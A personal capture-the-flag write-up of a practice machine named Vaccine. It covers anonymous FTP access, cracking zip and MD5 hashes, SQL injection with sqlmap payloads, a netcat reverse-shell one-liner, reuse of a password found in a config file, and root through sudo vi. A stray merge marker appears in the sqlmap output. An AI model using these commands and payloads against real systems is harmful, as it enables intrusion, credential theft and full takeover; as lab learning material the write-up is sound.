Before you begin
I write these writeups as I go when I wait for tools to run, therefore my writeups contain trials and errors, what I do that didn't work and how I pivot my attacks. I also include some ideas/what's on my mind, and what I learned after I pwn the room.
The purpose of this is to see the thought process, showcasing not just the successes but the failures as well and how I get through them. I learn way better from the failures that's why I leave them in.
If you're looking for a writeup that shows how a player thinks, this is the right place for you.
Thanks and have fun!
Data
IP: 10.129.91.202
Initial accessed: 2/16/2022 1:50 PM
Time completed: 1 hour + 30 mins write up
Task 1: Besides SSH and HTTP, what other service is hosted on this box?
nmap -sV -sV -oN nmap-init $IP
- Ports opened: 21, 22, 80: ftp, ssh and http
Task 2: This service can be configured to allow login with any password for a specific username. What is that username?
because we run -sC
we can see on the init nmap that ftp allows anonymous login
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
answer: anonymous
Task 3: What is the name of the file downloaded over this service?
_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
answer: backup.zip
Task 4: What script comes with the John The Ripper toolset and generates a hash from a password protected zip archive in a format to allow for cracking attempts?
Let's look for john the rippoer folder
/usr/sbin/zip2john
Task 5: What is the password for the admin user on the website?
Let's break into ftp server anonymous:<blank>
ftp anonymous@$IP
└─# ftp anonymous@$IP
Connected to 10.129.91.202.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
get the backup.zip file get backup.zip
ftp> get backup.zip
local: backup.zip remote: backup.zip
229 Entering Extended Passive Mode (|||10684|)
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
100% |************************************************| 2533 16.54 MiB/s 00:00 ETA
226 Transfer complete.
2533 bytes received in 00:00 (19.59 KiB/s)
Getting the zip file password with johntheripper
- Get the zip hash using
zip2john
zip2john -s backup.zip > ziphash.txt
- Using john to crack the password
john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt
┌─
└─# ls
backup.zip nmap-init ziphash.txt
└─# john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
741852963 (backup.zip)
1g 0:00:00:00 DONE (2022-02-16 14:18) 100.0g/s 409600p/s 409600c/s 409600C/s 123456..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
- open the zip file
unzip backup.zip
└─# unzip backup.zip
Archive: backup.zip
[backup.zip] index.php password:
inflating: index.php
inflating: style.css
- Look at the index.php file with
cat index.php
if($_POST['username'] === 'admin' && md5($_POST['password']) === "2cb42f8734ea607eefed3b70af13bbd3") {
- Looks like the password is encoding in md5, let's crack that using hashcat
hashcat -m 0 '2cb42f8734ea607eefed3b70af13bbd3' /usr/share/wordlists/rockyou.txt
- wait for hashcat to run I actually ran into a seg fault because my virtual machine didn't have enough memory so make sure that your VM has enough ram
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 2 secs
2cb42f8734ea607eefed3b70af13bbd3:qwerty789
now that we have the password we can get in on the web server. navigate to the ip adress port 80
You'll see a login form, try
admin:qwerty789
yatta!! We got in. the web page has a header
MegaCorp Car Catalog
the search bar looks very interesting, we might get an sql injection
Try
'or 1=1--
on the search bar and click search > nadaOk lets try
'or '1'='1
All the cars return, we got a SQLi. The broswer pass the search term as an SQL argument, and we put a term that always returns true 1=1, so it returns all the data
let's poke that
task 6 What option can be passed to sqlmap to try to get command execution via the sql injection?
run sqlmap --help
--os-shell Prompt for an interactive operating system shell
This hints us that we can get a shell back from this vuln using sqlmap, let's try that
SQLMap
- run sqlmap with cookie grabbed from admin. Right click to Inspect > Storage > Cookies > copy the value of PHP SESSION
sqlmap --os-shell -u "http://10.129.95.174/dashboard.php?search=" --cookie "rs3mk75hjde89pttqm7761a93b"
** Note:** It might take a couple of tries to get sqlmap to spawn a shell, use sqlmap --help
for more flags you can use to run the cmd. Trials and errors are always the best way to attack. In real-world scenarios your attack might get picked up by a WAF, but sqlmap has options to bypass that as well. Read the help section to find out which option is possible to poke around with. This is the point of CTF; you're free to use whatever options or tools at your disposal to gain a shell, don't hesitate to try all of them, you might be surprised how much you learn.
As sqlmap run, these results poped up. Check for the results that are labeled
CRITICAL
during the run, see what pops out to you.Not much luck with this run, I'm trying a different approach. I'll store the GET request in a file and then run it again.
Go to the website and make a sample search, then copy the GET request from Inspect Element under Network.
Put the request in a text file called
get.req
Run the file with Sqlmap
sqlmap -r get.req
- I got an error with sqlmap, so let's try Burp. Turn on Burp intercept and grab the GET request. There might be more data in there.
GET /dashboard.php?search=car HTTP/1.1
Host: 10.129.95.174
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://10.129.95.174/dashboard.php?search=%27or+%271%27%3D%271
Cookie: PHPSESSID=rs3mk75hjde89pttqm7761a93b
Upgrade-Insecure-Requests: 1
- Put in the req file and try again. I want to use tag
--batch
so I don't have to press yes all the time
sqlmap -r get.req --batch
- Boom we got something
heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
Now we just wait and hope sqlmap can return something for us.
- and we got it!
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 34 HTTP(s) requests:
---
Parameter: search (GET)
Type: boolean-based blind
Title: PostgreSQL AND boolean-based blind - WHERE or HAVING clause (CAST)
<<<<<<< HEAD
Payload: search=car' AND (SELECT (CASE WHEN (2083=2083) THEN NULL ELSE CAST((CHR(110)||CHR(90)||CHR(106)||CHR(73)) AS NUMERIC) END)) IS NULL-- Xpdl
Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: search=car' AND 5539=CAST((CHR(113)||CHR(112)||CHR(107)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (5539=5539) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(122)||CHR(107)||CHR(122)||CHR(113)) AS NUMERIC)-- KpjP
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=car';SELECT PG_SLEEP(5)--
Type: time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy
---
- Now that we have the payload, we can inject to the search bar or the URL I'm picking the last one
search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy
10.129.95.174/dashboard.php?search=car' AND 8701=(SELECT 8701 FROM PG_SLEEP(5))-- dOuy
- Nothing returns, let's try the error-based payload
search=car' AND (SELECT (CASE WHEN (2083=2083) THEN NULL ELSE CAST((CHR(110)||CHR(90)||CHR(106)||CHR(73)) AS NUMERIC) END)) IS NULL-- Xpdl
- we got something
ERROR: invalid input syntax for type numeric: "qpkzq1qzkzq"
- Let's just see if we can get a shell from here
sqlmap -r get.req --batch --os-shell
- and we're in
[10:36:30] [INFO] fingerprinting the back-end DBMS operating system
[10:36:31] [INFO] the back-end DBMS operating system is Linux
[10:36:31] [INFO] testing if current user is DBA
[10:36:32] [INFO] retrieved: '1'
[10:36:32] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[10:36:32] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
- This shell is majorly unstable, I'll see if I can get a reverse shell on my machine
Reverse shell
Get your ip address
ip a s tun0
set up your netcat with
nc -lvnp 4444
I have a template payload for bash, you can grab yours on revshells.com as well. Put your payload on the os-shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.79 4444 >/tmp/f
- Upgrade your shell. I tried python but failed, they have python3
** Note:** To check if a machine has a program, use which
. I checked for python version with which python
or which python3
. Positive results will return usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
- check who we are
postgres@vaccine:/var/lib/postgresql/11/main$ id id uid=111(postgres) gid=117(postgres) groups=117(postgres),116(ssl-cert)
Since we're in /var
let's check /var/www/html
, usually there is credentials in there
found password in``dashboard.phpin
htmlfolder. You either look through the file manually, or use the command
grep "password" *to loop through the file and returns anything that has the word
password`
dashboard.php: $conn = pg_connect("host=localhost port=5432 dbname=carsdb user=postgres password=P@s5w0rd!");
- let's see what this user can do
sudo -l
postgres@vaccine:/var/lib/postgresql/11/main$ sudo -l
sudo -l
[sudo] password for postgres: P@s5w0rd!
Matching Defaults entries for postgres on vaccine:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR
XFILESEARCHPATH XUSERFILESEARCHPATH",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User postgres may run the following commands on vaccine:
(ALL) /bin/vi /etc/postgresql/11/main/pg_hba.conf
** Note**: during this box I kept losing the shell due to the sql connection timeout, once I get the password I just ssh back into the postgres user with the found password
Answer for this task is vi
Priv Esc
grab the user root at
cat user.txt
Time for priv esc. The first thing I did was look up available payload for VIM on gtfobins
I want a shell, and found this payload that might work with the credential sudo we have
sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf
Press
:
, then type in the cmdset shell=/bin/sh
. This I got from gtfobinsGain root shell!
[No write since last change]
# whoami
root
# ls
11 user.txt
# cat user.txt
DONE!
Lessons from this box
- SQLMap sometimes can take a little tweak to make it work perfectly, try everything